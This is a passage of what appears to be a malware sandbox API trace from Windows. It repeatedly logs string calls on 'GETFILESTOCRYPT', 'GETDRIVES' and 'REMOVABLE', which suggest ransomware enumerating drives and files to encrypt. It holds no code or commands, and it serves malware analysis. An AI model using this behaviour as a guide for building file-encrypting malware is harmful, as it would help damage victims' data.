lpsz="removable") returned 0x9 [0086.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.723] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.723] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.723] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.723] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.723] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.723] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.724] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.724] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.724] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.739] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.739] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.739] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.739] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.739] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.739] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.740] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.740] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.740] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.740] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.741] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.741] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.741] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.741] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.741] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.741] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.742] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.742] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.742] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.742] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.743] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.743] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.744] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.744] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.744] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.744] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.744] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.744] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.745] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.745] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.745] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.745] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.745] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.745] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.745] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.746] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.746] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.746] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.746] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.746] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.746] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.746] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.747] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.747] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.748] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.748] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.749] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.749] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.749] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.749] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.749] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.749] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.749] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.750] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.750] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.750] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.750] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.750] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.750] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.751] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.751] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.751] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.751] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.751] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.751] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.757] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.757] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.758] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.758] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.758] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.758] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.758] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.758] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.758] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.759] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.759] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.759] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.759] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.759] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.759] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.759] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.760] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.760] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.760] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.760] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.760] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.760] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.761] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.761] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.761] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.761] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.761] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.761] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.761] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.761] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.762] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.762] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.762] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.762] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.762] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.762] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.763] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.763] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.763] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.763] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.763] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.763] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.763] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.763] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.764] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.764] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.764] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.764] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.764] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.764] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.768] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.768] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.768] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.768] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.768] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.768] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.769] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.769] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.769] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.769] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.769] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.769] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.769] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.769] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: 